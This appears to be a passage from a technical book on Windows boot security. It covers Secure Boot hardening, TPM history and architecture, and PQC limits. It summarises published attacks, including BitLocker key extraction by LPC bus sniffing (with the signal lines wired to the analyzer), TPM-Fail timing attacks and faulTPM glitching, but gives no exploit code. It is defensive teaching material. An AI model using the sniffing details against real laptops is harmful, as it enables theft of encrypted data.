Verify your Windows UEFI CA 2023 enrollment. KB5025885 is a phased deployment; each mitigation step is enabled by writing the corresponding value to HKLM\SYSTEM\CurrentControlSet\Control\Secureboot\AvailableUpdates (the values are listed in the support article) [31]. The current UEFI db can be inspected with Get-SecureBootUEFI db (decode the returned .Bytes to enumerate the signature list); note that Format-SecureBootUEFI builds a signed variable-update payload for Set-SecureBootUEFI rather than reading the database. The 2023 CA's certificate has subject CN Windows UEFI CA 2023. If you do not see it in db on an online 2025-2026 Windows install, do not assume a single cause: the mitigation may not be enabled, the device or firmware may be blocked or excepted, the install or recovery media may be stale, or the deployment phase may not yet apply to that device. Consult the KB article for the supported next steps.

Enable DRTM / System Guard Secure Launch where the silicon supports it. The control surfaces are:

• MDM CSP: DeviceGuard/ConfigureSystemGuardLaunch.
• Group Policy: Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security > Secure Launch Configuration.
• Registry: HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard\Enabled = 1.

Verify via msinfo32: under System Summary the Virtualization-based Security Services Configured / Running line should include Secure Launch [40].

Replace TPM-only BitLocker where physical access is in scope. After Bitpixie, TPM-only BitLocker is a weak default for laptops or kiosks that an attacker can touch unattended. Add a pre-boot PIN (manage-bde -protectors -add C: -tpmAndPin) or a USB startup key where the edition and management model support it [2,36].

What it means for you

For a Reasoner, Secure Boot changes the first question in an incident or design review. Do not start with "is Windows patched?" Start with "what did the firmware permit before Windows existed?" Then ask whether the machine is UEFI, whether Secure Boot is enforcing, which CAs are in db, which hashes and certificates are in dbx, whether the Windows UEFI CA 2023 transition has landed, and whether BitLocker is sealed to PCR[7] with a pre-boot factor for machines that face physical access.

The operational lesson is sharper than the architectural one. The cryptography has not been the public failure point. The failure point has been lifecycle: old but validly signed boot managers, small dbx storage, slow OEM firmware updates, recovery media that never got rebuilt, and policies that remained TPM-only after the threat model changed. The fix list is therefore boring and fleet-shaped: keep firmware and Windows current, verify Windows UEFI CA 2023 enrollment for the Windows boot-manager path, keep shim current on dual-boot systems, enable DRTM/Secure Launch where hardware supports it, and stop treating TPM-only BitLocker as a physical-access defense.

A minimal verify-it-yourself probe is three commands in elevated PowerShell: Confirm-SecureBootUEFI, Get-Tpm, and Get-SecureBootUEFI dbx. If the first is not True, the firmware-side allowlist is not protecting the boot path. If the second is not ready, the measurement and sealing rail has no trustworthy endpoint. If the third cannot be read or never receives revocation updates, you are trusting signatures without a practical way to distrust old signed code.

The chain is longer than it has ever been. It is not yet long enough.

The TPM

The chip that starts the chain

The chip nobody asked for

On June 24, 2021, Microsoft announced Windows 11 [66], and told hundreds of millions of working PCs they were no longer eligible to upgrade. Not because they were too slow. Because they did not have a small chip most users had never thought about: a TPM 2.0. The PR backlash was immediate; the technical rationale was almost invisible. Why was Microsoft willing to take that much heat over a piece of silicon?

The next morning, Microsoft's security team tried to explain [67]. The argument was four words long: hardware root of trust.

All certified Windows 11 systems will come with a TPM 2.0 chip to help ensure customers benefit from security backed by a hardware root-of-trust.

That sentence sat awkwardly against the user experience: a green checkmark in the PC Health Check tool, or a red X telling you to buy a new computer. The deeper claim (that a passive cryptoprocessor underwrote the security guarantees of half the operating system) was not something Microsoft had ever asked consumers to think about. For OEMs, the requirement was old news. Since July 28, 2016 [68], every new Windows device model had been contractually required to "implement and enable by default TPM 2.0." The 2021 mandate did not introduce the chip. It made an existing OEM rule into a visible install gate.

This chapter is about that piece of silicon: what it does, why Windows needs it more than ever, and why twenty-five years of engineering and twenty-five years of attacks have together produced a chip that quietly defines what modern Windows can defend against, and what it cannot.

The central claim, which the rest of this chapter will earn: a passive cryptoprocessor designed in 1999 became the load-bearing pillar of half of Windows security, and the history of attacks against it has been a sustained empirical argument about exactly how passive that pillar is allowed to be.

The problem the TPM was built to solve

Picture an engineer at IBM in early 2000. The Windows kernel has just been rooted again. The newly shipped DPAPI master keys (introduced with Windows 2000's general availability on February 17, 2000 [70]) become recoverable once SYSTEM falls. Stolen ThinkPads come back with their fresh EFS volumes already decrypted. Where do you put a secret that the OS cannot read?

Software-only key storage was Generation 0. Windows had DPAPI, EFS, and LSA secrets [71], all deriving their wrapping keys from the user's logon credential or from system-level material. Every derivation had the same structural problem: the unwrapping key, sooner or later, lived in the kernel's address space. An attacker who reached SYSTEM (or who carried the disk away to a separate machine) could replay it. A volume encrypted "at rest" was decryptable as soon as the disk was readable, and a disk you can read is a disk you can read offline. Microsoft now states the constraint plainly: a TPM-resident key, by contrast, "truly can't leave the TPM" [72]. That property cannot be retrofitted onto software-only storage.

In October 1999 [73], five PC-industry incumbents took that observation and turned it into an industrial coalition: Compaq, Hewlett-Packard, IBM, Intel, and Microsoft incorporated the Trusted Computing Platform Alliance. (Note: The Wikipedia Trusted Computing Group article gives the day-precision date as October 11, 1999. The original TCPA press release URL has not survived; the founder list and date are consistent across secondary sources.) TCPA's charter was narrow: define a chip that could hold keys an x86 OS could not export, record boot-time integrity measurements, and sign attestations about that boot. The first chip to ship against the resulting TPM Main Specification 1.1b [74] appeared in 2003 [75]. Atmel, Infineon, and STMicroelectronics built it [75].

In parallel, Microsoft Research ran its own bet. Paul England, Butler Lampson, John Manferdelli, Marcus Peinado, and Bryan Willman [76] published "A Trusted Open Platform" in IEEE Computer, July 2003. The codename inside Microsoft was Palladium; the public name was the Next-Generation Secure Computing Base, NGSCB. It described a Windows where high-assurance code could run isolated from a possibly-compromised OS kernel, anchored in a hardware secure coprocessor that looked very much like a TPM. The motivating sentence read like a thesis: NGSCB extends personal computers "to offer mechanisms that let high-assurance software protect itself from the operating systems, device drivers, BIOS, and other software running on the same machine."

NGSCB never shipped as advertised. By 2005, reports indicated [77] that Microsoft would ship "only part of the architecture, BitLocker, which can optionally use the Trusted Platform Module to validate the integrity of boot and system files prior to operating system startup." The "Nexus" hypervisor, the user-mode high-assurance "agents," the protected paths for keyboard and display: all dropped against the Vista deadline. (Note: The deadline pressure on Vista is legendary. The architecture team chose to ship the smallest piece of NGSCB the existing chip could underwrite (BitLocker) and shelved the rest. That shelved piece eventually returned, fifteen years later, as Virtualization-Based Security and Credential Guard.)

The shelved primitives, however, did not die. Measured boot (the firmware measures the boot loader, the boot loader measures the kernel, each measurement extended into a register that cannot be rewound) migrated into Vista BitLocker and, later, into Windows 8 Measured Boot. Sealed storage (a key tied to a measured boot state, unreleasable unless the boot state matches) became the defining property of every TPM-bound BitLocker volume. Remote attestation (a device signing a quote of its own measurements for a remote verifier) became Device Health Attestation. NGSCB shipped, just not as itself.

TCPA had built a chip that could hold a key the OS couldn't read. Which keys, under whose authority, against which threats? The first answer was almost good enough, and it lasted about a decade.

Generation 1 and Generation 2: TPM 1.1b to 1.2, and why they failed

If you opened a 2007 ThinkPad and looked at the LPC bus next to the Super-IO chip, you would see a small Infineon SLB chip [78]. That was your TPM 1.2. It did exactly one job, and Vista's BitLocker was the first feature to depend on it.

The architectural skeleton of TPM 1.x [75] was simple. At least sixteen Platform Configuration Registers, with the PC Client TPM Interface Specification mandating 24 per active bank. Hash algorithm: SHA-1. Asymmetric algorithm: RSA-2048. A single root of storage, the Storage Root Key, whose private half never left the chip. An Endorsement Key burned in at manufacture as the chip's permanent identity. An HMAC-SHA1 authorization model over command parameters. A "Take Ownership" ceremony where the platform owner created the SRK and bound it to an owner secret.

TPM 1.2 [75], shipped in late 2003 and standardized as ISO/IEC 11889:2009, layered on the practical machinery: locality (a way for code at different privilege levels to extend different PCRs), monotonic counters, NV indices, transport sessions, and the eight-PCR split between firmware (PCR[0..7]) and OS (PCR[8..15]). It was the chip that mass-deployed in essentially every business PC from 2006 to 2014. When Windows Vista [77] reached volume-license RTM in late 2006 and broad availability in early 2007, BitLocker [79] (Enterprise and Ultimate editions only) became the first mainstream Windows feature whose security depended on the chip: BitLocker sealed the Volume Master Key to PCR values describing the boot-loader chain, so that a stolen disk could not be decrypted offline. Secure Boot binding (PCR[7]) would not arrive until UEFI Secure Boot [27] shipped with Windows 8 in 2012.

The problem with all of this was not that anyone broke it. The problem was that the architecture hard-coded its cryptographic primitives into its data structures. SHA-1 was not a configurable algorithm; it was the literal width of the PCR register and of every hash field in the spec. RSA-2048 was not a configurable algorithm; it was the literal layout of the EK, the SRK, and every protected key blob. If the world deprecated SHA-1, you did not patch the firmware. You replaced the chip.

NIST SP 800-131A deprecated SHA-1 [80] digital signatures starting in 2011. The 2017 SHAttered collision [81] drove the point home. (Note: The 2017 SHAttered SHA-1 collision does not retroactively break Vista BitLocker in practice. To do that, an attacker would have to choose firmware blobs whose hashes collide, not merely demonstrate a collision exists. But it ended any defense of "SHA-1 in PCRs is fine because nobody can collide it.") Algorithm flexibility cannot be retrofitted onto silicon whose data structures hard-code SHA-1. There were other limitations: a single SRK hierarchy meant clearing the chip's storage hierarchy also reset chip identity; the Privacy CA model for attestation never deployed at scale; ECC was missing; and the HMAC-based authorization model made every command exchange a piece of bespoke crypto plumbing.

TCG accepted the constraint in 2014 and started over. The 2.0 design did not add features to 1.2. It answered a different question: how do you let one TPM survive twenty years of cryptographic transitions?

Generation 3: TPM 2.0: one primitive, many algorithms

On April 9, 2014 [75], the Trusted Computing Group [83] did something rare in standards bodies: they threw away a working specification and started from a different question. The result was the TPM 2.0 Library Specification, Family 2.0, Level 00, Revision 116. A year later it became ISO/IEC 11889-1:2015 Edition 2 [84], which removed the "industry consortium" objection from procurement teams in regulated environments. By July 28, 2016 [68], Microsoft had quietly made TPM 2.0 a contractual must-have for new Windows device models, lines, or series in the OEM manufacturing scope.

Four conceptual changes carry the architecture.

Algorithm agility

Every cryptographic algorithm in TPM 2.0 carries an integer identifier. PCRs no longer have a single hash; they have banks, one per supported algorithm, all extended in parallel by a single command. Microsoft's own documentation [72] describes the contract: when firmware extends PCR[0] with the IBV's CRTM measurement, the TPM extends both the SHA-1 bank and the SHA-256 bank, and on newer parts the SHA-384 bank as well. (Margin note: The PC Client Platform TPM Profile mandates SHA-1 + SHA-256 minimum, not SHA-256-only. Backwards compatibility had a cost.) The wire and object formats can name SHA-3 or future post-quantum algorithms by ID; making them practical still requires TPM implementation support, profile updates, certification, and sometimes new silicon.

Four hierarchies, four primary seeds

Where TPM 1.x had a single SRK, TPM 2.0 has four hierarchies (Platform, Endorsement, Storage, Null) each rooted in a per-hierarchy primary seed. Primary keys are derived deterministically: call TPM2_CreatePrimary with the same template against the same seed, and you get the same key back, byte-for-byte. The Apress textbook by Arthur, Challener, and Goldman [85] (the de-facto developer reference for the spec) describes this as the architectural fix to a real operational problem: the platform owner can clear the storage hierarchy without losing the device's endorsement identity.

Enhanced authorization

The most interesting change is how TPM 2.0 talks about access control. Every protected object has a policyDigest, an algorithm-agile hash of an arbitrarily complex set of conditions. To use the object, the caller starts a policy session (TPM2_StartAuthSession with TPM_SE_POLICY) and walks predicates (TPM2_PolicyPCR, TPM2_PolicyAuthorize, TPM2_PolicySigned, TPM2_PolicyCommandCode, TPM2_PolicyAuthValue) each extending the running session digest. At the end, the TPM checks that the session digest matches the object's policyDigest, and only then authorizes the operation. BitLocker, in Microsoft's current Learn description [79], can seal the Volume Master Key to a validation profile that commonly includes PCR[7] (Secure Boot policy) and PCR[11] (BitLocker control flags). Tampering with measured Secure Boot configuration (or a non-BitLocker boot path within the configured profile) causes unseal to fail.

The unifying primitive: measure, extend, seal, quote

The reason any of this matters for Windows is that the entire feature surface compresses down to four operations on the same set of registers.

• Measure. A piece of code computes the hash of the next piece of code (or configuration) about to run.
• Extend. That hash is folded into a PCR via PCR_new = H(PCR_old || hash). The operation is one-way: PCRs cannot be rewound.
• Seal. A symmetric key (or arbitrary blob) is encrypted under the TPM's Storage hierarchy with a policyDigest that names a specific set of PCR values. TPM2_Unseal releases the blob if and only if the live PCR state matches.
• Quote. The TPM signs a snapshot of selected PCRs with an Attestation Key. A remote verifier can check the signature against a known AKpub and an EK certificate chain.

The boot of a measured Windows machine is exactly this loop. The Core Root of Trust for Measurement (a small piece of immutable firmware) measures the next stage and extends PCR[0]. Common PC-client profiles measure the next stages into PCRs such as PCR[2] for option ROMs, PCR[4] for the Windows Boot Manager, PCR[7] for the Secure Boot policy, and PCR[11] for BitLocker volume control flags, then continue through ELAM and the kernel. Microsoft's Trusted Boot description [9] walks the chain.

Now compress the Windows feature catalog against those four operations.

• BitLocker [79] seals the VMK to a PCR policy.
• Measured Boot (Chapter 4) and Device Health Attestation (Chapter 5) [86] quote PCRs to a remote verifier.
• Credential Guard (Chapter 15) [87] uses VBS to isolate NTLM/Kerberos secrets; Microsoft recommends TPM support for hardware binding, but the exact sealing policy is configuration- and version-specific.
• Windows Hello for Business (Chapter 20) [88] creates a per-user key protected by a PIN/biometric gesture; when hardware-backed, the TPM protects the private key and enforces anti-hammering.
• Virtual smart cards, DPAPI-NG, and TPM key attestation [89] for ADCS-issued certificates all sit on the same primitives.

By July 28, 2016, TPM 2.0 was a hidden contractual requirement under the entire Windows OEM channel. By June 24, 2021, Microsoft made the same chip the visible install gate for Windows 11. The architecture had won the building. Then attackers started taking it apart.

Verify it yourself: documented probes

This chapter is in the silicon tier, but the probes below are 🔵 DOCUMENTED command shapes rather than physical-silicon captures: real commands a reader can run, with Microsoft-documented expected fields. If these commands are run inside a virtual machine, the reported TPM may be a hypervisor- or host-provided virtual TPM; under this book's taxonomy that value would be 🟡 emulated, not physical silicon evidence.

TpmPresent                : True
TpmReady                  : True
TpmEnabled                : True
TpmActivated              : True
TpmOwned                  : True
RestartPending            : False
ManufacturerId            : <vendor-specific integer>
ManufacturerIdTxt         : <vendor identifier>
ManufacturerVersion       : <firmware version>
ManagedAuthLevel          : Full
OwnerAuth                 : <not displayed>
OwnerClearDisabled        : True or False
AutoProvisioning          : Enabled
LockedOut                 : False
LockoutHealTime           : <duration>
LockoutCount              : 0
LockoutMax                : <platform value>

Read those fields narrowly. TpmPresent, TpmReady, and TpmOwned establish that Windows sees an initialized TPM it can provision. ManufacturerIdTxt and ManufacturerVersion help you correlate platform advisories and distinguish vendor behavior. They do not prove that the TPM is a discrete chip, an on-die block, or physical at all. A VM can return TpmPresent: True because the hypervisor exposed a vTPM; that is useful cloud evidence, but it is not physical-silicon evidence.

TPM Present: True
TPM Version: 2.0
TPM Manufacturer: <manufacturer>
TPM Manufacturer Version: <firmware version>
TPM Specification Version: 1.38 or later
PPI Version: <platform physical-presence interface version>
Ready For Storage: True
Ready For Attestation: True
Is Capable For Attestation: True
Clear Needed To Recover: False

The two readiness lines map directly to this chapter's role for the chip. Ready For Storage is the vault: Windows can create and use protected objects. Ready For Attestation is the witness stand: Windows can participate in identity and quote workflows. If either is false, higher layers that assume a hardware root are standing on sand.

Volume C: [OS]
    Conversion Status:    Fully Encrypted
    Percentage Encrypted: 100.0%
    Protection Status:    Protection On
    Lock Status:          Unlocked
    Key Protectors:
        TPM
        Numerical Password

This is the operational join between the TPM and the disk. Key Protectors: TPM means the volume has a TPM-bound protector. Numerical Password is the recovery protector; before clearing the TPM or changing firmware policy, recovery escrow must be verified. If your threat model includes hands-on attackers against discrete-TPM systems, TPM alone should trigger a design discussion. Microsoft's documented mitigation for the bus-sniffing class is preboot authentication (TPM+PIN or a startup key) not wishful thinking about the bus.

PCR Validation Profile:
    PCR[7]  : Secure Boot policy
    PCR[11] : BitLocker access control
Protector:
    TPM or TPMAndPIN

Different Windows builds expose PCR binding through different administrative surfaces; the key idea is stable. BitLocker binds release to measured state, commonly including Secure Boot policy and BitLocker control measurements. The exact profile is configuration, not folklore. Reasoners should verify it on the systems they defend.

Where this link breaks: the threat model collapses inward (2019–2024)

On March 13, 2019, a New Zealand security researcher named Denis Andzakovic posted a blog entry [78] that, in retrospect, started the modern era of TPM offense. He demonstrated two LPC-bus sniffing attacks on two different machines. On an HP business laptop running TPM 1.2, he used a DSLogic Plus logic analyzer connected via the laptop's debug header (7 wires: LCLK, LFRAME, LAD[0:3], and ground) to lift the BitLocker Volume Master Key off the LPC bus. On a Surface Pro 3 running TPM 2.0, he spent $40 NZD on a Lattice iCE40 ICEStick FPGA (8 connections: GND, LCLK, LFRAME#, LRESET#, LAD[0:3]) and replicated the attack. With the disk in hand and the motherboard accessible, a thief could decrypt a TPM-only BitLocker volume in the time it took to boot it once. Andzakovic open-sourced the FPGA gateware [90] the same day. (Note: Andzakovic credits Hector Martin (@marcan) for prototyping LPC sniffing earlier; the 2019 write-up was the first end-to-end public demonstration with reproducible code.)

The structural insight, which has not been backed away from, is that published BitLocker bus-sniffing work shows that Windows does not use TPM 2.0 parameter encryption to protect the VMK on the discrete-TPM boot path. The VMK travels in plaintext at the LPC bus's 33 MHz clock across a few millimeters of PCB. (Note: Why doesn't Windows turn on parameter encryption for BitLocker? The boot-time pressure is real. Pre-OS code lives in a tight memory budget and parameter encryption requires HMAC-signed sessions. The pragmatic mitigation Microsoft documents is preboot authentication (PIN or startup key), which makes the bus-sniffed VMK insufficient on its own.)

The attack would not stay a one-laptop curio. In late 2020, F-Secure's (later WithSecure) Henri Nurmi released an SPI variant [91] and a public BitLocker-key extraction tool. A year later, Thomas Dewaele and Julien Oberson at SCRT reproduced the LPC attack [92] on a Lenovo ThinkPad L440 with a chip (labeled P24JPVSP, identified by SCRT as probably equivalent to the ST33TPM12LPC) and published a tutorial. By October 2024, SCRT had industrialized the attack [93] across "the three major enterprise-grade laptop manufacturers (i.e. Lenovo, HP, and Dell)" in "a few minutes."

The first reassurance the industry reached for was: ship the TPM inside the chipset. No bus, no sniff. Both Intel (Platform Trust Technology, fTPM-in-CSME [94]) and AMD (fTPM-in-PSP) had already done this for cost reasons. That reassurance lasted eight months.

In November 2019, Daniel Moghimi, Berk Sunar, Thomas Eisenbarth, and Nadia Heninger (soon to be USENIX Security 2020) released TPM-Fail [95]. Their finding: Intel PTT and a STMicro ST33 dTPM both leaked ECDSA private keys through ordinary timing side channels in their scalar multiplication. The numbers were brutal:

A local adversary can recover the ECDSA key from Intel fTPM in 4-20 minutes depending on the access level. We even show that these attacks can be performed remotely on fast networks, by recovering the authentication key of a virtual private network (VPN) server in 5 hours.: TPM-Fail, tpm.fail [95], 2019

NVD assigned CVE-2019-11090 [96] to Intel PTT and CVE-2019-16863 [97] to STMicroelectronics' ST33TPHF2ESPI. The latter entry is blunt: "STMicroelectronics ST33TPHF2ESPI TPM devices before 2019-09-12 allow attackers to extract the ECDSA private key via a side-channel timing attack because ECDSA scalar multiplication is mishandled, aka TPM-FAIL." Both chips were certified at the moment of disclosure. The STMicro chip held both Common Criteria EAL4+ and FIPS 140-2 Level 2, while the Intel chip held FIPS 140-2 [95]. Certification did not catch the bug. The presentation is preserved in the USENIX Security 2020 proceedings [98].

The final beat came four years later. In April 2023, Hans Niklas Jacob, Christian Werling, Robert Buhren, and Jean-Pierre Seifert posted faulTPM (arXiv:2304.14717) [99], with reproducible code at github.com/PSPReverse/ftpm_attack [100]. The attack: voltage-glitch the AMD Platform Security Processor and walk out with the entire internal TPM state. The paper's own claim is the sentence that, more than any other, framed the modern TPM threat model.

this vulnerability exposes the complete internal TPM state of the fTPM. It allows us to extract any cryptographic material stored or sealed by the fTPM regardless of authentication mechanisms such as Platform Configuration Register validation or passphrases with anti-hammering protection.: Jacob, Werling, Buhren, Seifert, faulTPM (2023) [99]

Two to three hours of physical access. Anti-hammering bypassed because anti-hammering is enforced by the TPM, and once the TPM's internal state is on your bench you set the counter to zero. PCR-policy bypassed because the sealed blob's wrapping key is in the extracted state. The structural punch is that this makes BitLocker TPM+PIN on AMD fTPM with a low-entropy PIN less secure than a TPM-less passphrase (a corollary the faulTPM paper makes explicit [99]): the TPM concentrates all your trust into a chip whose internal state can be exfiltrated.

If a $40 FPGA defeats discrete TPM, a network packet defeats Intel PTT, and a few hours of physical access defeats AMD fTPM completely. Where does the next generation of TPM live? Microsoft's answer was on the CPU die itself.

State of the art: five realizations of one specification

All five chips in this section pass the same TCG conformance suite. They expose the same TPM2_* command surface to Windows. They fail to completely different attackers. The architecture is identical; the attack surface is everything.

Discrete TPM

The classical chip. Infineon, STMicroelectronics, Nuvoton. Hangs off the motherboard's LPC, SPI, or I2C bus. Best certifications (Common Criteria EAL4+, FIPS 140-2/3). One bug class: bus sniffing in minutes for $40 against the BitLocker boot path that Windows leaves in plaintext.

Intel PTT

TPM 2.0 inside the Converged Security and Management Engine: historically on the Platform Controller Hub die, and increasingly on the SoC die in integrated-platform Intel processors since Tiger Lake. Either way, no physical bus to sniff. Defeated by TPM-Fail [95] timing side channel; firmware-patched, but inherits CSME's broader attack surface and CSME's update story (UEFI capsule via OEM, lifecycle entirely under the OEM's control).

AMD fTPM (PSP)

TPM 2.0 inside the AMD Platform Security Processor [101] (an ARM TrustZone Cortex-A5 core integrated into every modern Ryzen SoC). Ships in essentially all Ryzen-class client SoCs since 2017. No physical bus to sniff. Defeated end-to-end by the faulTPM [99] voltage-glitch attack against the PSP. The structural problem is shared TEE: the same coprocessor is responsible for memory encryption setup, secure-boot enforcement, and TPM service, and a single fault-injection path drops all of those.

Microsoft Pluton

A Microsoft IP block on the CPU SoC die, with Microsoft-authored Rust firmware (on 2024 AMD and Intel platforms) [6] delivered through Windows Update. According to Microsoft's hardware list, Pluton "is currently available on devices with the following chipsets running on Windows 11: AMD: Ryzen 6000, 7000, 8000, 9000 and Ryzen AI Series... Intel: Core Series Processors: Ultra 200V Series, Ultra Series 3 and Series 3... Qualcomm: Snapdragon 8cx Gen 3 and Snapdragon X Series." The same page notes that "Pluton platforms in 2024 AMD and Intel systems will start to use a Rust-based firmware foundation given the importance of memory safety."

The thesis is laid out in Microsoft's November 17, 2020 announcement post [49], which links explicitly to Andzakovic. The architectural framing is unusually direct.

The Pluton design removes the potential for that communication channel to be attacked by building security directly into the CPU.: Microsoft Security Blog, November 17, 2020 [49]

Three things change at once. The bus is gone. Pluton is on-die, so dTPM bus-sniffing has no surface to attack. The TEE host is dedicated. Pluton is not the same coprocessor that runs SEV memory encryption or ME runtime services. And the firmware ships through Windows Update, so when a Pluton firmware vulnerability is found (and one will be found), the patch reaches the deployed fleet through Windows Update rather than through OEM UEFI capsule rollouts. (Note: The Pluton-as-TPM page makes the trade-off explicit: "Microsoft Pluton can be used as a TPM, or with a TPM. Although Pluton builds security directly into the CPU, device manufacturers might choose to use discrete TPM as the default TPM." [7] Several enterprise security teams have publicly cited the Pluton update model as a reason to keep dTPM as their default for high-assurance fleets even where Pluton silicon is available.)

vTPM

A software TPM emulation, typically inside a hypervisor. Azure Trusted Launch [102] is Microsoft's flagship implementation: "Trusted Launch is the default state for newly created Azure Gen2 VM and scale sets." The vTPM lives in a host-protected memory region and inherits the trust of the host. For cloud workloads where the threat model already includes "the hypervisor host is honest," this is the right shape; for adversarial physical access, it is not.

Head-to-head

The deep claim of the Pluton design is not that it is a better cryptoprocessor. It is that the previous decade's lesson (TEE memory-safety bugs are systemic, certification did not catch them, and OEM UEFI capsule patching is too slow) argues for moving the firmware signer to Microsoft and the firmware language to Rust. That is a political choice, not just a technical one. The October 2019 Secured-core PCs initiative [103] was the first public step; Pluton is its descendant.

If you can sniff a dTPM, time-attack an Intel PTT, glitch an AMD fTPM, and trust Microsoft to sign your Pluton firmware. Which threat are you actually defending against?

Theoretical limits: what a passive cryptoprocessor cannot do

A famous joke in the trusted-computing community: the TPM cannot make a compromised OS uncompromised. It can only make sure that nothing else helped.

Three impossibility-style results follow from the architecture itself, regardless of which of the five realizations you pick.

The TPM is a root of trust for storage and reporting, not execution

The Core Root of Trust for Measurement (the immutable code that bootstraps the measurement chain) lives in firmware, not in the TPM. The TPM cannot detect that the wrong code measured itself; it can only refuse to release sealed material when the PCRs do not match the stored policy. If the CRTM is compromised (or a downstream measurement is forged before extension), the TPM has no way to know.

Stronger guarantees require an active root of trust: a Dynamic Root of Trust for Measurement, where the CPU enters a known good state late in the boot and re-measures from there. Intel TXT, AMD SVM-SKINIT, and Microsoft's System Guard Secure Launch [104] on Secured-core PCs all implement this. The TPM is a participant in DRTM; on its own, it is not sufficient.

TPM-only BitLocker has a structural lower bound

The VMK must enter RAM during Trusted Boot before the user authenticates. This is not a bug; it is the threat-model definition of "TPM-only." Therefore any attacker who intercepts the VMK at the moment of release defeats TPM-only BitLocker, regardless of TPM strength. This is what every dTPM bus-sniffing attack actually exploits: not a weakness of the TPM, but the structural condition that the key must traverse the boot path.

Microsoft's countermeasures documentation [105] names the mitigation in plain terms: preboot authentication. Adding TPM+PIN raises the bound to "guess the PIN against intact anti-hammering", but only as long as the TPM's anti-hammering counter cannot be exfiltrated. faulTPM violates that condition for AMD fTPM. On a Pluton or hardened dTPM, anti-hammering still holds, and a sufficiently random PIN raises the bound sharply.

The simple way to think about TPM+PIN is not a one-second sleep after every bad guess. Windows exposes lockout state as LockoutCount, LockoutMax, and LockoutHealTime in Get-Tpm; the documented example shows a threshold of 31 and a 10-minute heal interval [106]. Real attack cost is therefore governed by the platform's lockout threshold and heal schedule, not by a constant per-guess delay. The practical conclusion survives the exact arithmetic: a low-entropy PIN is a weak human factor, while a sufficiently random 8+ digit PIN plus intact anti-hammering pushes online guessing out of the unattended-theft threat model.

Once a key is unsealed, it lives in the OS's address space

A runtime-compromised OS reads any key the TPM has unsealed for it. The TPM defends against the offline attacker (disk theft, post-shutdown tamper) and the pre-OS attacker (boot-time integrity violation that fails the unseal). It does not defend against a privileged runtime attacker. This is a general impossibility, not a TPM weakness; no passive cryptoprocessor can decide whether the OS asking to unseal a key is itself trustworthy at the moment it asks.

This is why VBS, Credential Guard, and DRTM exist as separate disciplines: they answer "what protects the unsealed key once it is in RAM?" by isolating the key inside a VTL1 enclave or by re-measuring the OS after launch. The TPM is a participant; it is not the answer.

What would an ideal TPM look like? On-die (no bus), in an isolated TEE shared with nothing else, with the host-firmware-update path replaced by an OS-channel update path, with high-assurance certification depth, with an authenticated wire protocol always on, and with native support for post-quantum primitives. No shipping TPM today satisfies all six properties. Pluton plus future PQC firmware updates is the closest existing trajectory; it is on-die, isolated, OS-channel-updated, and Rust-implemented, but it does not yet expose PQC primitives and its certification depth is still evolving.

If the TPM cannot defeat a runtime-compromised OS by design, and the best fTPM can be extracted in three hours, where is the security frontier actually moving?

Open problems: PQC, supply chain, and trust centralization

On August 13, 2024, NIST finalized FIPS 203 (ML-KEM) [108], FIPS 204 (ML-DSA) [109], and FIPS 205 (SLH-DSA) [110]: the first federal post-quantum cryptography standards. ML-DSA-87's public keys are 2,592 bytes. A typical TPM has 6 to 32 KiB of NV memory total. The math gets uncomfortable quickly.

Post-quantum migration

The NIST Post-Quantum Cryptography project page [111] describes the timeline: "In August 2024, NIST released its principal PQC standards... Under the transition timeline in NIST IR 8547, NIST will deprecate and ultimately remove quantum-vulnerable algorithms from its standards by 2035, with high-risk systems transitioning much earlier." That is the deadline driving every TPM roadmap, and the August 14, 2024 Federal Register notice [112] made it formal U.S. policy.

Three concrete obstacles. First, the TCG algorithm registry has not yet normatively added ML-KEM, ML-DSA, or SLH-DSA; a TCG PQC working group exists, but its output is in flight. The Microsoft TPM 2.0 reference code [113] tracks TCG: the V1.83 release notes describe it as "the first revision in sync with Trusted Computing Group 1.83," and that revision still does not expose PQC algorithm IDs. The Fraunhofer SIT Post-Quantum Cryptography for TPM [114] program has prototyped PQC primitives inside reference TPM stacks, but those changes are research artifacts, not normative TCG output.

Second, the TPM's resource budget strains under the larger PQC parameter sets. Ordinary application keys (Windows Hello keys, BitLocker wrapping keys) are not held in on-chip NV at all: they live off-chip as parent-wrapped key blobs and are loaded transiently into volatile context via TPM2_Load, so NV pressure falls on persistent (evicted) handles and NV indices rather than on every key. Quick arithmetic against ML-DSA-87 (FIPS 204): a 2,592-byte public key plus a 4,896-byte private key plus protocol overhead pushes a single persisted key blob past 7.5 KiB, so a 16-KiB-NV TPM holds only a couple of persisted ML-DSA-87 slots. The larger SLH-DSA-256s signatures (29,792 bytes per FIPS 205 Table 2) [110] routinely exceed the typical 1-4 KiB response-buffer cap (TPM_PT_MAX_RESPONSE_SIZE in the PC Client Platform TPM Profile [115]); the related TPM_PT_NV_BUFFER_MAX (the maximum NV read/write chunk) is in the same order of magnitude and complicates persistent-storage cases as well. The chip cannot return such a signature in a single command without fragmentation extensions. PQC support on commodity TPMs is not just a software upgrade; it is a transient-buffer and NV-budget renegotiation.

Third, hybrid signing schemes (composite RSA + ML-DSA, or ECDSA + ML-DSA) are well-defined for transitional certificates. The IETF LAMPS WG draft on composite ML-DSA signatures [116] specifies "combinations of US NIST Module-Lattice-Based Digital Signature Algorithm (ML-DSA) in hybrid with traditional algorithms RSASSA-PKCS1-v1.5, RSASSA-PSS, ECDSA, Ed25519, and Ed448" for X.509 PKIX. The TLS hybrid key-exchange draft [117] does the same for TLS 1.3 handshakes. Neither defines a hybrid TPM2_Sign profile, and as of June 2026 no shipping Windows TPM exposes one.

Microsoft's Quantum Safe Security blog (August 2025) [118] describes the broader effort: "Our PQC effort began in 2014 when we published research on post-quantum algorithms... We participated in four submissions to the original 2017 NIST PQC call and one submission to the current call", but is silent on Pluton-firmware PQC support specifically.

The architectural punchline: Pluton's Windows-Update firmware delivery channel is the only realization that can plausibly add a PQC primitive across the deployed fleet without a hardware refresh. Every other realization will need new silicon to ship native PQC.

The supply-chain trust of EK certificates

The Microsoft TPM key attestation documentation [89] describes the trust-chain assumption plainly: the requestor proves "to a CA that the RSA key in the certificate request is protected by either 'a' or 'the' TPM that the CA trusts." That trust is anchored on the EK certificate the chip's vendor issued at manufacture. A vendor-CA compromise therefore equals collapse of TPM-bound device identity for an entire OEM cohort.

